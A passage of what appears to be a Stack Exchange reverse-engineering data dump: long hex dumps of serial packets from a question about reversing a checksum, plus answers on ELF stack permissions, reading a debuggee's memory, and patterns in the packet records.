03 ca e6&#xA;10 02 41 02 20 00 55 10 03 da c7&#xA;10 02 41 02 20 00 56 10 03 ea a4&#xA;10 02 41 02 20 00 57 10 03 fa 85&#xA;10 02 41 02 20 00 58 10 03 0b 6a&#xA;10 02 41 02 20 00 59 10 03 1b 4b&#xA;10 02 41 02 20 00 5a 10 03 2b 28&#xA;10 02 41 02 20 00 5b 10 03 3b 09&#xA;10 02 41 02 20 00 5c 10 03 4b ee&#xA;10 02 41 02 20 00 5d 10 03 5b cf&#xA;10 02 41 02 20 00 5e 10 03 6b ac&#xA;10 02 41 02 20 00 5f 10 03 7b 8d&#xA;10 02 41 02 20 00 60 10 03 bc 31&#xA;10 02 41 02 20 00 61 10 03 ac 10&#xA;10 02 41 02 20 00 62 10 03 9c 73&#xA;10 02 41 02 20 00 63 10 03 8c 52&#xA;10 02 41 02 20 00 64 10 03 fc b5&#xA;10 02 41 02 20 00 65 10 03 ec 94&#xA;10 02 41 02 20 00 66 10 03 dc f7&#xA;10 02 41 02 20 00 67 10 03 cc d6&#xA;10 02 41 02 20 00 68 10 03 3d 39&#xA;10 02 41 02 20 00 69 10 03 2d 18&#xA;10 02 41 02 20 00 6a 10 03 1d 7b&#xA;10 02 41 02 20 00 6b 10 03 0d 5a&#xA;10 02 41 02 20 00 6c 10 03 7d bd&#xA;10 02 41 02 20 00 6d 10 03 6d 9c&#xA;10 02 41 02 20 00 6e 10 03 5d ff ff&#xA;10 02 41 02 20 00 6f 10 03 4d de&#xA;10 02 41 02 20 00 70 10 03 ae 00&#xA;10 02 41 02 20 00 71 10 03 be 21&#xA;10 02 41 02 20 00 72 10 03 8e 42&#xA;10 02 41 02 20 00 73 10 03 9e 63&#xA;10 02 41 02 20 00 74 10 03 ee 84&#xA;10 02 41 02 20 00 75 10 03 fe a5&#xA;10 02 41 02 20 00 76 10 03 ce c6&#xA;10 02 41 02 20 00 77 10 03 de e7&#xA;10 02 41 02 20 00 78 10 03 2f 08&#xA;10 02 41 02 20 00 79 10 03 3f 29&#xA;10 02 41 02 20 00 7a 10 03 0f 4a&#xA;10 02 41 02 20 00 7b 10 03 1f 6b&#xA;10 02 41 02 20 00 7c 10 03 6f 8c&#xA;10 02 41 02 20 00 7d 10 03 7f ad&#xA;10 02 41 02 20 00 7e 10 03 4f ce&#xA;10 02 41 02 20 00 7f 10 03 5f ef&#xA;10 02 41 02 20 00 80 10 03 41 1f&#xA;10 02 41 02 20 00 81 10 03 51 3e&#xA;10 02 41 02 20 00 82 10 03 61 5d&#xA;10 02 41 02 20 00 83 10 03 71 7c&#xA;10 02 41 02 20 00 84 10 03 01 9b&#xA;10 02 41 02 20 00 85 10 03 11 ba&#xA;10 02 41 02 20 00 86 10 03 21 d9&#xA;10 02 41 02 20 00 87 10 03 31 f8&#xA;10 02 41 02 20 00 88 10 03 c0 17&#xA;10 02 41 02 20 00 89 10 03 d0 36&#xA;10 02 41 02 20 00 8a 10 03 e0 55&#xA;10 02 41 02 20 00 8b 10 03 f0 74&#xA;10 02 41 02 20 00 8c 10 03 80 93&#xA;10 02 41 02 20 00 8d 10 03 90 b2&#xA;10 02 41 02 20 00 8e 10 03 a0 d1&#xA;10 02 41 02 20 00 8f 10 03 b0 f0&#xA;10 02 41 02 20 00 90 10 03 53 2e&#xA;10 02 41 02 20 00 91 10 03 43 0f&#xA;10 02 41 02 20 00 92 10 03 73 6c&#xA;10 02 41 02 20 00 93 10 03 63 4d&#xA;10 02 41 02 20 00 94 10 03 13 aa&#xA;10 02 41 02 20 00 95 10 03 03 8b&#xA;10 02 41 02 20 00 97 10 03 23 c9&#xA;10 02 41 02 20 00 98 10 03 d2 26&#xA;10 02 41 02 20 00 99 10 03 c2 07&#xA;10 02 41 02 20 00 9a 10 03 f2 64&#xA;10 02 41 02 20 00 9b 10 03 e2 45&#xA;10 02 41 02 20 00 9c 10 03 92 a2&#xA;10 02 41 02 20 00 9d 10 03 82 83&#xA;10 02 41 02 20 00 9e 10 03 b2 e0&#xA;10 02 41 02 20 00 9f 10 03 a2 c1&#xA;10 02 41 02 20 00 a0 10 03 65 7d&#xA;10 02 41 02 20 00 a1 10 03 75 5c&#xA;10 02 41 02 20 00 a2 10 03 45 3f&#xA;10 02 41 02 20 00 a3 10 03 55 1e&#xA;10 02 41 02 20 00 a4 10 03 25 f9&#xA;10 02 41 02 20 00 a5 10 03 35 d8&#xA;10 02 41 02 20 00 a6 10 03 05 bb&#xA;10 02 41 02 20 00 a7 10 03 15 9a&#xA;10 02 41 02 20 00 a8 10 03 e4 75&#xA;10 02 41 02 20 00 a9 10 03 f4 54&#xA;10 02 41 02 20 00 aa 10 03 c4 37&#xA;10 02 41 02 20 00 ab 10 03 d4 16&#xA;10 02 41 02 20 00 ac 10 03 a4 f1&#xA;10 02 41 02 20 00 ad 10 03 b4 d0&#xA;10 02 41 02 20 00 ae 10 03 84 b3&#xA;10 02 41 02 20 00 af 10 03 94 92&#xA;10 02 41 02 20 00 b0 10 03 77 4c&#xA;10 02 41 02 20 00 b1 10 03 67 6d&#xA;10 02 41 02 20 00 b2 10 03 57 0e&#xA;10 02 41 02 20 00 b3 10 03 47 2f&#xA;10 02 41 02 20 00 b4 10 03 37 c8&#xA;10 02 41 02 20 00 b5 10 03 27 e9&#xA;10 02 41 02 20 00 b6 10 03 17 8a&#xA;10 02 41 02 20 00 b7 10 03 07 ab&#xA;10 02 41 02 20 00 b8 10 03 f6 44&#xA;10 02 41 02 20 00 b9 10 03 e6 65&#xA;10 02 41 02 20 00 ba 10 03 d6 06&#xA;10 02 41 02 20 00 bb 10 03 c6 27&#xA;10 02 41 02 20 00 bc 10 03 b6 c0&#xA;10 02 41 02 20 00 bd 10 03 a6 e1&#xA;10 02 41 02 20 00 be 10 03 96 82&#xA;10 02 41 02 20 00 bf 10 03 86 a3&#xA;10 02 41 02 20 00 c0 10 03 09 db&#xA;10 02 41 02 20 00 c1 10 03 19 fa&#xA;10 02 41 02 20 00 c2 10 03 29 99&#xA;10 02 41 02 20 00 c3 10 03 39 b8&#xA;10 02 41 02 20 00 c4 10 03 49 5f&#xA;10 02 41 02 20 00 c5 10 03 59 7e&#xA;10 02 41 02 20 00 c6 10 03 69 1d&#xA;10 02 41 02 20 00 c7 10 03 79 3c&#xA;10 02 41 02 20 00 c8 10 03 88 d3&#xA;10 02 41 02 20 00 c9 10 03 98 f2&#xA;10 02 41 02 20 00 ca 10 03 a8 91&#xA;10 02 41 02 20 00 cb 10 03 b8 b0&#xA;10 02 41 02 20 00 cc 10 03 c8 57&#xA;10 02 41 02 20 00 cd 10 03 d8 76&#xA;10 02 41 02 20 00 ce 10 03 e8 15&#xA;10 02 41 02 20 00 cf 10 03 f8 34&#xA;10 02 41 02 20 00 d0 10 03 1b ea&#xA;10 02 41 02 20 00 d1 10 03 0b cb&#xA;10 02 41 02 20 00 d2 10 03 3b a8&#xA;10 02 41 02 20 00 d3 10 03 2b 89&#xA;10 02 41 02 20 00 d4 10 03 5b 6e&#xA;10 02 41 02 20 00 d5 10 03 4b 4f&#xA;10 02 41 02 20 00 d6 10 03 7b 2c&#xA;10 02 41 02 20 00 d7 10 03 6b 0d&#xA;10 02 41 02 20 00 d8 10 03 9a e2&#xA;10 02 41 02 20 00 d9 10 03 8a c3&#xA;10 02 41 02 20 00 da 10 03 ba a0&#xA;10 02 41 02 20 00 db 10 03 aa 81&#xA;10 02 41 02 20 00 dc 10 03 da 66&#xA;10 02 41 02 20 00 dd 10 03 ca 47&#xA;10 02 41 02 20 00 de 10 03 fa 24&#xA;10 02 41 02 20 00 df 10 03 ea 05&#xA;10 02 41 02 20 00 e0 10 03 2d b9&#xA;10 02 41 02 20 00 e1 10 03 3d 98&#xA;10 02 41 02 20 00 e2 10 03 0d fb&#xA;10 02 41 02 20 00 e3 10 03 1d da&#xA;10 02 41 02 20 00 e4 10 03 6d 3d&#xA;10 02 41 02 20 00 e5 10 03 7d 1c&#xA;10 02 41 02 20 00 e6 10 03 4d 7f&#xA;10 02 41 02 20 00 e7 10 03 5d 5e&#xA;10 02 41 02 20 00 e8 10 03 ac b1&#xA;10 02 41 02 20 00 e9 10 03 bc 90&#xA;10 02 41 02 20 00 ea 10 03 8c f3&#xA;10 02 41 02 20 00 eb 10 03 9c d2&#xA;10 02 41 02 20 00 ec 10 03 ec 35&#xA;10 02 41 02 20 00 ed 10 03 fc 14&#xA;10 02 41 02 20 00 ee 10 03 cc 77&#xA;10 02 41 02 20 00 ef 10 03 dc 56&#xA;10 02 41 02 20 00 f0 10 03 3f 88&#xA;10 02 41 02 20 00 f1 10 03 2f a9&#xA;10 02 41 02 20 00 f2 10 03 1f ca&#xA;10 02 41 02 20 00 f3 10 03 0f eb&#xA;10 02 41 02 20 00 f4 10 03 7f 0c&#xA;10 02 41 02 20 00 f5 10 03 6f 2d&#xA;10 02 41 02 20 00 f6 10 03 5f 4e&#xA;10 02 41 02 20 00 f7 10 03 4f 6f&#xA;10 02 41 02 20 00 f8 10 03 be 80&#xA;10 02 41 02 20 00 f9 10 03 ae a1&#xA;10 02 41 02 20 00 fa 10 03 9e c2&#xA;10 02 41 02 20 00 fb 10 03 8e e3&#xA;10 02 41 02 20 00 fc 10 03 fe 04&#xA;10 02 41 02 20 00 fd 10 03 ee 25&#xA;10 02 41 02 20 00 fe 10 03 de 46&#xA;10 02 41 02 20 00 ff ff 10 03 ce 67&#xA;10 02 41 02 20 01 00 10 03 e3 a6&#xA;10 02 41 02 20 01 01 10 03 f3 87&#xA;10 02 41 02 20 01 02 10 03 c3 e4&#xA;10 02 41 02 20 01 03 10 03 d3 c5&#xA;10 02 41 02 20 01 04 10 03 a3 22&#xA;10 02 41 02 20 01 05 10 03 b3 03&#xA;10 02 41 02 20 01 06 10 03 83 60&#xA;10 02 41 02 20 01 07 10 03 93 41&#xA;10 02 41 02 20 01 08 10 03 62 ae&#xA;10 02 41 02 20 01 09 10 03 72 8f&#xA;10 02 41 02 20 01 0a 10 03 42 ec&#xA;10 02 41 02 20 01 0b 10 03 52 cd&#xA;10 02 41 02 20 01 0c 10 03 22 2a&#xA;10 02 41 02 20 01 0d 10 03 32 0b&#xA;10 02 41 02 20 01 0e 10 03 02 68&#xA;10 02 41 02 20 01 0f 10 03 12 49&#xA;10 02 41 02 20 01 10 10 10 03 f1 97&#xA;10 02 41 02 20 01 11 10 03 e1 b6&#xA;10 02 41 02 20 01 12 10 03 d1 d5&#xA;10 02 41 02 20 01 13 10 03 c1 f4&#xA;10 02 41 02 20 01 14 10 03 b1 13&#xA;10 02 41 02 20 01 15 10 03 a1 32&#xA;10 02 41 02 20 01 16 10 03 91 51&#xA;10 02 41 02 20 01 17 10 03 81 70&#xA;10 02 41 02 20 01 18 10 03 70 9f&#xA;10 02 41 02 20 01 19 10 03 60 be&#xA;10 02 41 02 20 01 1a 10 03 50 dd&#xA;10 02 41 02 20 01 1b 10 03 40 fc&#xA;10 02 41 02 20 01 1c 10 03 30 1b&#xA;10 02 41 02 20 01 1d 10 03 20 3a&#xA;10 02 41 02 20 01 1e 10 03 10 59&#xA;10 02 41 02 20 01 1f 10 03 00 78&#xA;10 02 41 02 20 01 20 10 03 c7 c4&#xA;10 02 41 02 20 01 21 10 03 d7 e5&#xA;10 02 41 02 20 01 22 10 03 e7 86&#xA;10 02 41 02 20 01 23 10 03 f7 a7&#xA;10 02 41 02 20 01 24 10 03 87 40&#xA;10 02 41 02 20 01 25 10 03 97 61&#xA;10 02 41 02 20 01 26 10 03 a7 02&#xA;10 02 41 02 20 01 27 10 03 b7 23&#xA;10 02 41 02 20 01 28 10 03 46 cc&#xA;10 02 41 02 20 01 29 10 03 56 ed&#xA;10 02 41 02 20 01 2a 10 03 66 8e&#xA;10 02 41 02 20 01 2b 10 03 76 af&#xA;10 02 41 02 20 01 2c 10 03 06 48&#xA;10 02 41 02 20 01 2d 10 03 16 69&#xA;10 02 41 02 20 01 2e 10 03 26 0a&#xA;10 02 41 02 20 01 2f 10 03 36 2b&#xA;10 02 41 02 20 01 30 10 03 d5 f5&#xA;10 02 41 02 20 01 31 10 03 c5 d4&#xA;10 02 41 02 20 01 32 10 03 f5 b7&#xA;10 02 41 02 20 01 33 10 03 e5 96&#xA;10 02 41 02 20 01 34 10 03 95 71&#xA;10 02 41 02 20 01 35 10 03 85 50&#xA;10 02 41 02 20 01 36 10 03 b5 33&#xA;10 02 41 02 20 01 37 10 03 a5 12&#xA;10 02 41 02 20 01 38 10 03 54 fd&#xA;10 02 41 02 20 01 39 10 03 44 dc&#xA;10 02 41 02 20 01 3a 10 03 74 bf&#xA;10 02 41 02 20 01 3b 10 03 64 9e&#xA;10 02 41 02 20 01 3c 10 03 14 79&#xA;10 02 41 02 20 01 3d 10 03 04 58&#xA;10 02 41 02 20 01 3e 10 03 34 3b&#xA;10 02 41 02 20 01 3f 10 03 24 1a&#xA;10 02 41 02 20 01 40 10 03 ab 62&#xA;10 02 41 02 20 01 41 10 03 bb 43&#xA;10 02 41 02 20 01 42 10 03 8b 20&#xA;10 02 41 02 20 01 43 10 03 9b 01&#xA;10 02 41 02 20 01 44 10 03 eb e6&#xA;10 02 41 02 20 01 45 10 03 fb c7&#xA;10 02 41 02 20 01 46 10 03 cb a4&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 05 10 03 68 94&#xA;10 02 41 02 02 00 06 10 03 58 f7&#xA;10 02 41 02 02 00 06 10 03 58 f7&#xA;10 02 41 02 02 00 06 10 03 58 f7&#xA;10 02 41 02 02 00 06 10 03 58 f7&#xA;10 02 41 02 02 00 06 10 03 58 f7&#xA;10 02 41 02 02 00 07 10 03 48 d6&#xA;10 02 41 02 02 00 07 10 03 48 d6&#xA;10 02 41 02 02 00 07 10 03 48 d6&#xA;10 02 41 02 02 00 07 10 03 48 d6&#xA;10 02 41 02 02 00 07 10 03 48 d6&#xA;10 02 41 02 02 00 08 10 03 b9 39&#xA;10 02 41 02 02 00 08 10 03 b9 39&#xA;10 02 41 02 02 00 09 10 03 a9 18&#xA;10 02 41 02 02 00 09 10 03 a9 18&#xA;10 02 41 02 02 00 09 10 03 a9 18&#xA;10 02 41 02 02 00 0a 10 03 99 7b&#xA;10 02 41 02 02 00 0a 10 03 99 7b&#xA;10 02 41 02 02 00 0b 10 03 89 5a&#xA;10 02 41 02 02 00 0b 10 03 89 5a&#xA;10 02 41 02 02 00 0d 10 03 e9 9c&#xA;10 02 41 02 02 00 0d 10 03 e9 9c&#xA;10 02 41 02 02 00 0e 10 03 d9 ff ff&#xA;10 02 41 02 02 00 0f 10 03 c9 de&#xA;10 02 41 02 02 00 10 10 10 03 2a 00&#xA;10 02 41 02 02 00 11 10 03 3a 21&#xA;10 02 41 02 02 00 12 10 03 0a 42&#xA;10 02 41 02 02 00 13 10 03 1a 63&#xA;10 02 41 02 02 00 14 10 03 6a 84&#xA;10 02 41 02 02 00 17 10 03 5a e7&#xA;10 02 41 02 02 00 19 10 03 bb 29&#xA;10 02 41 02 02 00 1d 10 03 fb ad&#xA;10 02 41 02 02 00 20 10 03 1c 53&#xA;10 02 41 02 02 00 27 10 03 6c b4&#xA;10 02 41 02 02 00 2d 10 03 cd fe&#xA;10 02 41 02 02 00 3c 10 03 cf ee&#xA;10 02 41 02 02 00 49 10 03 e1 dc&#xA;10 02 41 02 02 00 7e 10 03 a7 68&#xA;10 02 41 02 02 00 c4 10 03 a1 f9&#xA;10 02 41 02 02 7e e3 10 03 de 2a&#xA;10 02 41 02 02 7e da 10 03 79 50&#xA;10 02 41 02 02 7e d1 10 03 c8 3b&#xA;10 02 41 02 02 7e c8 10 03 4b 23&#xA;10 02 41 02 02 7e b3 10 03 84 df&#xA;10 02 41 02 02 7e 80 10 03 82 ef&#xA;10 02 41 02 02 7e 3a 10 03 84 7e&#xA;10 02 41 02 02 7d d5 10 03 dd ec&#xA;10 02 41 02 02 7d 36 10 03 10 a1&#xA;10 02 41 02 02 7c 18 10 03 e6 3c&#xA;10 02 41 02 02 7b a9 10 03 c8 51&#xA;10 02 41 02 02 00 49 10 03 e1 dc&#xA;10 02 41 02 02 00 2d 10 03 cd fe&#xA;10 02 41 02 02 00 3c 10 03 cf ee&#xA;10 02 41 02 02 00 7e 10 03 a7 68&#xA;10 02 41 02 02 01 c6 10 03 b2 8a&#xA;10 02 41 02 02 7e e3 10 03 de 2a&#xA;10 02 42 02 01 10 03 05 8e&#xA;10 02 f4 02 20 00 01 00 01 10 03 4a bb&#xA;10 02 f4 02 20 00 01 00 00 10 03 5a 9a&#xA;10 02 f4 02 20 00 02 01 10 03 92 93&#xA;10 02 f4 02 20 00 02 00 10 03 82 b2&#xA;10 02 f4 02 28 00 00 fc 10 03 4f 80&#xA;10 02 f4 02 28 00 00 f9 10 03 1f 25&#xA;10 02 f4 02 28 00 00 f6 10 03 ee ca&#xA;10 02 f4 02 28 00 00 f3 10 03 be 6f&#xA;10 02 f4 02 28 00 00 f0 10 03 8e 0c&#xA;10 02 f4 02 28 00 00 ed 10 03 4d 90&#xA;10 02 f4 02 28 00 00 ea 10 03 3d 77&#xA;10 02 f4 02 28 00 00 e7 10 03 ec da&#xA;10 02 f4 02 28 00 00 e4 10 03 dc b9&#xA;10 02 f4 02 28 00 00 e1 10 03 8c 1c&#xA;10 02 f4 02 28 00 00 de 10 03 4b a0&#xA;10 02 f4 02 28 00 00 db 10 03 1b 05&#xA;10 02 f4 02 28 00 00 d8 10 03 2b 66&#xA;10 02 f4 02 28 00 00 d5 10 03 fa cb&#xA;10 02 f4 02 28 00 00 d3 10 03 9a 0d&#xA;10 02 f4 02 28 00 00 d0 10 03 aa 6e&#xA;10 02 f4 02 28 00 00 cd 10 03 69 f2&#xA;10 02 f4 02 28 00 00 ca 10 03 19 15&#xA;10 02 f4 02 28 00 00 c7 10 03 c8 b8&#xA;10 02 f4 02 28 00 00 c4 10 03 f8 db&#xA;10 02 f4 02 28 00 00 c1 10 03 a8 7e&#xA;10 02 f4 02 28 00 00 be 10 03 27 06&#xA;10 02 f4 02 28 00 00 bb 10 03 77 a3&#xA;10 02 f4 02 28 00 00 b8 10 03 47 c0&#xA;10 02 f4 02 28 00 00 b5 10 03 96 6d&#xA;10 02 f4 02 28 00 00 b2 10 03 e6 8a&#xA;10 02 f4 02 28 00 00 af 10 03 25 16&#xA;10 02 f4 02 28 00 00 ac 10 03 15 75&#xA;10 02 f4 02 28 00 00 a9 10 03 45 d0&#xA;10 02 f4 02 28 00 00 a6 10 03 b4 3f&#xA;10 02 f4 02 28 00 00 a3 10 03 e4 9a&#xA;10 02 f4 02 28 00 00 a0 10 03 d4 f9&#xA;10 02 f4 02 28 00 00 9d 10 03 33 07&#xA;10 02 f4 02 28 00 00 9a 10 03 43 e0&#xA;10 02 f4 02 28 00 00 94 10 03 a2 2e&#xA;10 02 f4 02 28 00 00 91 10 03 f2 8b&#xA;10 02 f4 02 28 00 00 8e 10 03 11 55&#xA;10 02 f4 02 28 00 00 8b 10 03 41 f0&#xA;10 02 f4 02 28 00 00 88 10 03 71 93&#xA;10 02 f4 02 28 00 00 85 10 03 a0 3e&#xA;10 02 f4 02 28 00 00 82 10 03 d0 d9&#xA;10 02 f4 02 28 00 00 7f 10 03 ee 6b&#xA;10 02 f4 02 28 00 00 7d 10 03 ce 29&#xA;10 02 f4 02 28 00 00 7a 10 03 be ce&#xA;10 02 f4 02 28 00 00 77 10 03 6f 63&#xA;10 02 f4 02 28 00 00 74 10 03 5f 00&#xA;10 02 f4 02 28 00 00 71 10 03 0f a5&#xA;10 02 f4 02 28 00 00 6e 10 03 ec 7b&#xA;10 02 f4 02 28 00 00 6b 10 03 bc de&#xA;10 02 f4 02 28 00 00 68 10 03 8c bd&#xA;10 02 f4 02 28 00 00 65 10 03 5d 10&#xA;10 02 f4 02 28 00 00 62 10 03 2d f7&#xA;10 02 f4 02 28 00 00 5f 10 03 ca 09&#xA;10 02 f4 02 28 00 00 5c 10 03 fa 6a&#xA;10 02 f4 02 28 00 00 59 10 03 aa cf&#xA;10 02 f4 02 28 00 00 56 10 03 5b 20&#xA;10 02 f4 02 28 00 00 53 10 03 0b 85&#xA;10 02 f4 02 28 00 00 50 10 03 3b e6&#xA;10 02 f4 02 28 00 00 4d 10 03 f8 7a&#xA;10 02 f4 02 28 00 00 4a 10 03 88 9d&#xA;10 02 f4 02 28 00 00 47 10 03 59 30&#xA;10 02 f4 02 28 00 00 44 10 03 69 53&#xA;10 02 f4 02 28 00 00 41 10 03 39 f6&#xA;10 02 f4 02 28 00 00 3e 10 03 b6 8e&#xA;10 02 f4 02 28 00 00 3b 10 03 e6 2b&#xA;10 02 f4 02 28 00 00 38 10 03 d6 48&#xA;10 02 f4 02 28 00 00 35 10 03 07 e5&#xA;10 02 f4 02 28 00 00 32 10 03 77 02&#xA;10 02 f4 02 28 00 00 2f 10 03 b4 9e&#xA;10 02 f4 02 28 00 00 2c 10 03 84 fd&#xA;10 02 f4 02 28 00 00 2a 10 03 e4 3b&#xA;10 02 f4 02 28 00 00 27 10 03 35 96&#xA;10 02 f4 02 28 00 00 24 10 03 05 f5&#xA;10 02 f4 02 28 00 00 21 10 03 55 50&#xA;10 02 f4 02 28 00 00 1e 10 03 92 ec&#xA;10 02 f4 02 28 00 00 1b 10 03 c2 49&#xA;10 02 f4 02 28 00 00 18 10 03 f2 2a&#xA;10 02 f4 02 28 00 00 15 10 03 23 87&#xA;10 02 f4 02 28 00 00 12 10 03 53 60&#xA;10 02 f4 02 28 00 00 0f 10 03 90 fc&#xA;10 02 f4 02 28 00 00 0c 10 03 a0 9f&#xA;10 02 f4 02 28 00 00 09 10 03 f0 3a&#xA;10 02 f4 02 28 00 00 06 10 03 01 d5&#xA;10 02 f4 02 28 00 00 03 10 03 51 70&#xA;10 02 f4 02 28 00 00 00 10 03 61 13&#xA;10 02 f4 02 28 00 00 01 10 03 71 32&#xA;10 02 f4 02 28 00 00 00 10 03 61 13&#xA;10 02 f4 02 28 00 00 fe 10 03 6f c2&#xA;10 02 f4 02 28 00 00 ff ff 10 03 7f e3&#xA;10 02 f4 02 28 00 00 01 10 03 71 32&#xA;10 02 f4 02 28 00 00 00 10 03 61 13&#xA;10 02 f4 02 00 00 00 10 03 5b 38&#xA;10 02 f4 02 20 00 00 10 03 dd fe&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="12077" LastActivityDate="2015-03-26T20:58:48.783" Title="Reversing checksum algorithm" Tags="|serial-communication|sniffing|packet|crc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8563" PostTypeId="2" ParentId="8557" CreationDate="2015-03-26T10:47:04.277" Score="2" Body="&lt;p&gt;The ELF binaries have in them headers named &quot;program headers&quot;. When the kernel loads up a binary into memory, it only cares about 3 types of headers. &lt;code&gt;PT_LOAD&lt;/code&gt; indicating whether or not the content corresponding to the header needs to be loaded into memory, &lt;code&gt;PT_GNU_STACK&lt;/code&gt; indicating whether or not the stack needs to be made executable and &lt;code&gt;PT_INTERP&lt;/code&gt; for determining the interpreter used to execute the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, the kernel sets the stack as non-executable or executable depending on whether or not a program header is present in the ELF. The ELF process can later use &lt;code&gt;mmap/mmap2/mprotect&lt;/code&gt; libc/system calls to give executable privileges to specific pages in memory.&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorDisplayName="user1743" LastEditDate="2015-03-28T14:11:39.937" LastActivityDate="2015-03-28T14:11:39.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8564" PostTypeId="1" AcceptedAnswerId="8565" CreationDate="2015-03-26T16:20:07.673" Score="1" ViewCount="237" Body="&lt;p&gt;This post might be specific to IDA Pro, so bear that in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently trying to write a plugin for debugging specifically one executable. I know that a certain object in the executable's process exists at 0xAB40C0 (it always exists there). Can I simply write object* obj = (object*)0xAB40C0; and then access the various members of it? &lt;/p&gt;&#xA;" OwnerUserId="12083" LastActivityDate="2015-03-28T01:03:46.583" Title="During debugging, is the process memory the same as the debugger's memory space?" Tags="|ida|debugging|c|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8565" PostTypeId="2" ParentId="8564" CreationDate="2015-03-26T16:25:15.523" Score="1" Body="&lt;p&gt;No, the debugger (in whose process context your plugin is running) and the debuggee are two separate processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to use &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680553%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ReadProcessMemory()&lt;/code&gt;&lt;/a&gt; (or its equivalent for your operating system) to read the debuggee's memory.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-26T16:25:15.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8567" PostTypeId="2" ParentId="8561" CreationDate="2015-03-26T20:58:48.783" Score="1" Body="&lt;p&gt;I'm not sure it's a checksum either. FF may be used as a padding flag. Also I think your &quot;record size&quot; needs to be reevaluated. I see this as a series of bytes that start with &#xA;&lt;code&gt;10 02 xx yy yy zz zz&lt;/code&gt;&#xA;x and y might be options &#xA;z looks like data or a sequence (ish)&#xA;Then the next record looks like this&#xA;&lt;code&gt;10 03 xx xx&lt;/code&gt;&#xA;Here's an observation on the &lt;code&gt;10 03&lt;/code&gt; records:&#xA;&lt;code&gt;&#xA;10 03 d2 26&#xA;10 03 c2 07&#xA;10 03 f2 64&#xA;10 03 e2 45&lt;/code&gt;&#xA;looking at the last 2 bytes, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0xD226 - 0xC207 = 0x101F&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0xF264 - 0xE245 = 0x101F&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what that means, but I think that relationship is not coincidence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took the data and did some binary find and replace to shift it from one line with two records to two lines, one of each record type. Specifically, I added three leading bytes to &lt;code&gt;0x1002&lt;/code&gt;, removed those bytes at the very start to align the first record with the start of the file. Then they aligned nicely. However, when I found the FF, I saw that the records got misaligned, hence more evidence that its some sort of padding flag or something to keep the protocol on track, I guess. I added null bytes to shift the records back into conformance. I'll paste the results below, but only partial, because of the hastiness of my find and replace I think a portion of the data towards the end got borked up and I had &quot;run out of time&quot; to mess with it. I'll leave a little bit of where things got shifted, but keep in mind I tinkered with it a bit so I don't think I preserved it as well as the first section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &#xA;That last byte of the &lt;code&gt;0x1002&lt;/code&gt; record might be some sort of counter, note that when it becomes a full byte that's when some sort of sequence starts to reset.&#xA;Search for this string&#xA;10 02 41 02 20 00 FF&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Politely, it would have been nice to know what you were doing with the hardware to generate this data, some context for the evaluation may have been helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;10 02 41 02 20 01 46 &#xA;10 03 CB A4 00 00 00 &#xA;10 02 41 02 20 00 18 &#xA;10 03 43 AE 00 00 00 &#xA;10 02 41 02 20 00 19 &#xA;10 03 53 8F 00 00 00 &#xA;10 02 41 02 20 00 1A &#xA;10 03 63 EC 00 00 00 &#xA;10 02 41 02 20 00 1B &#xA;10 03 73 CD 00 00 00 &#xA;10 02 41 02 20 00 1C &#xA;10 03 03 2A 00 00 00 &#xA;10 02 41 02 20 00 1D &#xA;10 03 13 0B 00 00 00 &#xA;10 02 41 02 20 00 1E &#xA;10 03 23 68 00 00 00 &#xA;10 02 41 02 20 00 1F &#xA;10 03 33 49 00 00 00 &#xA;10 02 41 02 20 00 20 &#xA;10 03 F4 F5 00 00 00 &#xA;10 02 41 02 20 00 21 &#xA;10 03 E4 D4 00 00 00 &#xA;10 02 41 02 20 00 22 &#xA;10 03 D4 B7 00 00 00 &#xA;10 02 41 02 20 00 23 &#xA;10 03 C4 96 00 00 00 &#xA;10 02 41 02 20 00 24 &#xA;10 03 B4 71 00 00 00 &#xA;10 02 41 02 20 00 25 &#xA;10 03 A4 50 00 00 00 &#xA;10 02 41 02 20 00 26 